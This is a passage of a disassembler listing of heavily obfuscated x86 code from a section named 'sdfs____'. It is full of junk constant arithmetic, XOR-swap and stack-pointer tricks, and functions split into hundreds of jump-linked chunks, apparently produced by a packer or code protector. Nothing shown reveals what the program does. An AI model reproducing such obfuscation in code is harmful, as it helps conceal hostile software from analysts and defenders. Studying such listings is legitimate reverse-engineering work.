loc_59910F:				; CODE XREF: sub_599360+Bj
					; sub_599859+4j ...
		lodsb
		xor	al, bl
		jmp	loc_5A418D
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_599117	proc near		; CODE XREF: sub_5AD84A-DD0Cj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059981B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059BE44 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A0D27 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A0E31 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A471B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A53BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A755C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A87DF SIZE 00000040 BYTES
; FUNCTION CHUNK AT 005A9A35 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A9A9A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AB577 SIZE 0000001C BYTES

		push	ebx
		mov	ebx, 6BCB7605h
		xor	edi, ebx
		pop	ebx
		neg	edi
		push	ebx
		mov	ebx, 85E747Dh
		sub	ebx, 75966A0Eh
		sub	ebx, 3CF6E031h
		xor	edi, ebx
		pop	ebx
		xor	edi, 5B0061A4h
		dec	edi
		xor	edi, 84A80D64h
		add	eax, edi
		mov	edi, [esp+0]
		jmp	loc_5AB577
sub_599117	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59914E:				; CODE XREF: sub_5A2E28+63B0j
		mov	esi, ebx
		pop	ebx
		inc	esi
		jle	loc_5A61B7
		add	esi, 24497642h
		js	loc_59B707
		shr	esi, 6
		jnp	loc_5A1304
		sub	esi, 470B5CBCh
		jp	loc_59D87B
		push	ecx


loc_59917A:				; CODE XREF: sub_5A4D9D+32E3j
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		mov	[esp-4+arg_0], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_5A9823
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE72D


loc_59919D:				; CODE XREF: sub_5AE72D-C12j
		push	735Eh
		mov	[esp+0Ch+var_C], edx
		mov	edx, 2DCD7C19h
		and	edx, 771953F0h
		dec	edx
		push	ebx
		mov	ebx, 2F26B7FEh
		sub	edx, 1178605Bh
		add	edx, ebx
		add	edx, 1178605Bh
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		sub	edi, edx
		jmp	loc_5AF21C
; END OF FUNCTION CHUNK	FOR sub_5AE72D
; ---------------------------------------------------------------------------


loc_5991D5:				; CODE XREF: sdfs____:005ABE00j
		not	ah
		jmp	loc_59C021
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5991DC:				; CODE XREF: sub_59A26C+105EFj
		neg	edx
		add	edx, 9472086h
		mov	ebp, edx
		jmp	loc_5AFCBB
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5991EB:				; CODE XREF: sub_5A63DC-1C89j
		sub	ebx, 0F8CBD15Bh
		add	ecx, ebx
		jmp	loc_59C6D1
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5996E4


loc_5991F8:				; CODE XREF: sub_5996E4+EC13j
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		mov	esp, [esp+0]
		push	esi
		jmp	loc_5A8B19
; END OF FUNCTION CHUNK	FOR sub_5996E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59920A:				; CODE XREF: sub_5A477C+13A6j
		sub	ebx, eax
		jmp	loc_5A2BDD
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_599211:				; CODE XREF: sub_5AC803-12AFAj
					; sub_59A26C+FBDFj
		sub	ch, 0DEh
		sub	al, ch
		mov	ecx, [esp+0]
		add	esp, 4
		push	ebx
		jmp	loc_59D045
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2D1


loc_599222:				; CODE XREF: sub_59F2D1+23FFj
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		jmp	loc_5A1234
; END OF FUNCTION CHUNK	FOR sub_59F2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59922D:				; CODE XREF: sub_5AA2D1-8003j
		add	esp, 4
		xor	ebp, ecx
		jmp	loc_59E572
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_599237:				; CODE XREF: sub_5A6BBC-5197j
		jns	loc_59F0D5
		xor	cl, 94h
		push	edx
		mov	dl, 0Ch
		and	dl, 2
		jmp	loc_599D7F
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
		pop	eax
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59924C:				; CODE XREF: sub_5992DA+20CFj
		mov	[esp+0], ebx
		mov	bl, dh
		add	bl, 1
		mov	dh, bl
		jmp	loc_5ADEA3
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_59925B:				; CODE XREF: sub_5B03B3-2DF0j
		add	edx, ecx
		add	edx, 10366CD7h
		add	edx, 6F262C69h
		pop	ecx
		sub	edx, 0FFFFFFFFh
		push	edi
		jmp	loc_5AE379
; END OF FUNCTION CHUNK	FOR sub_5B03B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_599276:				; CODE XREF: sub_5992DA+B6A8j
					; sub_5AB782+1j
		xor	eax, ebx
		sub	esp, 4
		jmp	loc_5A4A68
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BAD3


loc_599283:				; CODE XREF: sub_59BAD3+F08Ej
		xchg	edi, [esp+0Ch+var_C]
		jmp	loc_5A6875
; END OF FUNCTION CHUNK	FOR sub_59BAD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_59928B:				; CODE XREF: sub_5A913B-D420j
					; sub_5AF294-8F4Ej
		pop	ecx
		jmp	loc_59A833
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_599291:				; CODE XREF: sub_599D0E+139A5j
		pop	edx
		sub	al, 0D5h
		xchg	dl, al
		neg	dl
		jmp	loc_59C4F3
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B60


loc_59929D:				; CODE XREF: sub_5A3B60+2B51j
		push	3EA5h
		mov	[esp+4+var_4], ecx
		push	edx
		mov	edx, 7E1C4765h
		add	[esp+8+var_4], edx
		pop	edx
		jmp	loc_59B411
; END OF FUNCTION CHUNK	FOR sub_5A3B60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5992B5:				; CODE XREF: sub_5AA2D1-DEBDj
		sub	esi, 4
		xchg	esi, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], eax
		jmp	loc_5997CF
; ---------------------------------------------------------------------------


loc_5992C7:				; CODE XREF: sub_59EE3E-569Bj
					; sub_5AA2D1-8476j
		sub	edi, 0ABDDA18h
		sub	esi, edi
		pop	edi
		sub	edx, esi
		pop	esi
		mov	edi, edx
		jmp	loc_5ACEBB
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5992DA	proc near		; CODE XREF: sub_5AF6AC-9AF8j
					; sub_5A79BE+86Dj

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_32		= dword	ptr -32h
var_2E		= dword	ptr -2Eh
var_2A		= dword	ptr -2Ah
var_26		= dword	ptr -26h
var_22		= dword	ptr -22h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= dword	ptr -6
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_E		= dword	ptr  12h
arg_12		= dword	ptr  16h
arg_16		= dword	ptr  1Ah

; FUNCTION CHUNK AT 0059910F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059924C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00599276 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005993C7 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00599459 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00599482 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005996C5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005996D9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005996EC SIZE 0000004D BYTES
; FUNCTION CHUNK AT 0059990C SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00599B9A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00599BF6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00599C07 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00599CAB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00599E8C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059A01F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059A0AC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059A1E2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059A1F4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059A781 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059A829 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059A99C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059AA3F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059AB62 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059AD09 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059AD34 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059AFAF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059B1EA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B3A4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059BAF7 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059BD59 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059BF55 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059C061 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C1F7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C21F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059C2F9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059C525 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059C68E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059C6BF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C704 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C82C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C8E2 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059C98E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CB59 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059CCA0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D19E SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0059D343 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D4CD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059D4EF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D548 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D66A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059D687 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D78D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059DCE9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059DDF4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059E217 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059E2BE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059E2E4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E374 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059EA6F SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059EB26 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059EBD5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059EE1A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F06C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F0EB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059F1A0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059F28D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059F2E9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F376 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059F3CA SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059F993 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059FBE1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059FC9E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A003C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A0636 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A150B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A1600 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A19F7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A1AF6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A1BA7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A1BE2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1C96 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A1D0B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A1D89 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A1F0A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A2227 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2407 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A2A89 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2B1A SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A2C6D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A2E13 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2EED SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A2F44 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A2FEE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A30E2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A320C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A324B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A33A2 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A34EE SIZE 00000042 BYTES
; FUNCTION CHUNK AT 005A37CE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A395B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3A32 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A3EB5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A3FA8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A4133 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A418D SIZE 0000005D BYTES
; FUNCTION CHUNK AT 005A42F4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A454D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A4967 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A4980 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A4A68 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A4ABE SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A4B9A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A4DE3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A4F84 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A5090 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A518C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A5698 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A5987 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A59DF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A5AAF SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A5EA2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A5F84 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A617C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A620E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A62F9 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A6524 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A65ED SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A66BF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A67C2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A68B2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A6A0B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A6B27 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6B45 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A6C3A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A6CA3 SIZE 00000060 BYTES
; FUNCTION CHUNK AT 005A6E9A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A6F0D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A6FFA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A7085 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A71BA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A7238 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A740F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A7456 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A7470 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A77F3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A7C6C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A7DBE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A7F27 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A7F7A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A80F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A815D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A81DF SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A8274 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A82FC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A8563 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005A89F9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A8A7A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A8C43 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A8F47 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A8FB5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A9235 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A966F SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005A991E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A99AD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A9A4A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A9A84 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9CCF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A9D54 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A9DBC SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A9E1E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AA006 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AA374 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AA705 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AA768 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA9C3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AAE1F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AAEAC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AB120 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AB27B SIZE 00000056 BYTES
; FUNCTION CHUNK AT 005AB75B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AB788 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB7DE SIZE 00000047 BYTES
; FUNCTION CHUNK AT 005AB948 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ABA61 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005ABAF0 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005ABD6E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AC040 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005AC1E7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AC342 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AC461 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AC4E7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AC545 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AC757 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005ACA7D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ACC4A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005ACCBF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005ACD3D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005AD54F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AD6BD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AD73A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AD751 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005ADAFE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005ADDB8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005ADDDA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005ADEA3 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005ADF08 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005ADF77 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AE02F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005AE237 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AE3E8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE7C3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AEC90 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AEDB7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AEE1B SIZE 00000047 BYTES
; FUNCTION CHUNK AT 005AEE7F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AEE9A SIZE 00000051 BYTES
; FUNCTION CHUNK AT 005AF08C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AF155 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AF273 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AF2ED SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AF568 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AF637 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005AF75A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AF917 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005AFA0C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AFB85 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AFF33 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AFFBB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005B01BA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005B01E0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005B0208 SIZE 00000010 BYTES

		push	ebx
		mov	ebx, 4
		jmp	loc_59AB62
sub_5992DA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5992E5:				; CODE XREF: sdfs____:005ABF7Aj
		sub	[esp+8], esi
		sub	dword ptr [esp+8], 30CE1F16h
		pop	esi
		sub	[esp+4], ecx
		add	dword ptr [esp+4], 66672230h
		jmp	loc_5A59C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600D


loc_599303:				; CODE XREF: sub_5A600D-9165j
		push	edx
		push	ebx
		jmp	loc_59C851
; ---------------------------------------------------------------------------


loc_59930A:				; CODE XREF: sub_5A600D+3AD1j
		mov	ah, 35h
		sub	ah, 0BFh
		neg	ah
		jmp	loc_59E470
; END OF FUNCTION CHUNK	FOR sub_5A600D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3C9


loc_599316:				; CODE XREF: sub_59B3C9+5E96j
		xor	ebx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ebx
		xor	ebx, [esp+0Ch+var_C]
		pop	esp
		push	eax
		push	2424h
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		push	[esp+10h+var_10]
		mov	eax, [esp+14h+var_14]
		push	edi
		jmp	loc_5A1E73
; END OF FUNCTION CHUNK	FOR sub_59B3C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_59933C:				; CODE XREF: sub_5A16B8-2572j
		neg	edx
		sub	edx, 78228515h
		add	ebx, edx
		pop	edx
		push	ecx
		jmp	loc_5A65B3
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_59934D:				; CODE XREF: sub_599A61+9F5Bj
		pop	edx
		jmp	sub_5A2166
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_599353:				; CODE XREF: sub_5AA2D1-D32Aj
		pop	ecx
		dec	ecx
		jle	loc_5A82CE
		jmp	loc_5A12D6
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_599360	proc near		; CODE XREF: sub_5A2E28+9C66j
					; DATA XREF: sdfs____:00598F1Co
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp+0], ax
		pushf
		jmp	loc_59910F
sub_599360	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_599370:				; CODE XREF: sub_5A0FFF+E524j
		shr	eax, 8
		xor	eax, ecx
		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	edx
		push	[esp+8+var_4]
		pop	edx
		pop	[esp+8+var_8]
		sub	esp, 4
		mov	[esp+8+var_8], edx
		xchg	edx, [esp+8+var_8]
		jmp	loc_59F5EE
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F3B6


loc_599392:				; CODE XREF: sub_59F3B6+5898j
		add	esi, edx
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], esi
		push	[esp-4+arg_4]
		mov	esi, [esp+0]
		add	esp, 4
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		push	ecx
		sub	esp, 4
		mov	[esp+0], eax
		jmp	sub_599CC6
; END OF FUNCTION CHUNK	FOR sub_59F3B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5993C7:				; CODE XREF: sub_5A416F-5E6Ej
					; sub_5992DA+A23Bj
		shl	ebp, 1
		or	ebp, 341212B4h
		push	ebx
		mov	ebx, 565F67CEh
		xor	ebx, 366A7A50h
		xor	ebp, ebx
		pop	ebx
		sub	ebp, 0D799D508h
		jmp	loc_5ADF77
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD13


loc_5993E9:				; CODE XREF: sub_5ADD13+1553j
		pop	eax
		add	ebx, 2
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		mov	ax, word ptr [esp-8+arg_4]
		push	ebp
		push	esp
		jmp	loc_5A2C7E
; END OF FUNCTION CHUNK	FOR sub_5ADD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A405F


loc_5993FC:				; CODE XREF: sub_5A405F-9D14j
		add	esp, 4
		push	esi
		push	2
		jmp	loc_5A2878
; END OF FUNCTION CHUNK	FOR sub_5A405F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB622


loc_59940D:				; CODE XREF: sub_5AB622-D393j
		and	ebx, 69EB552Ch
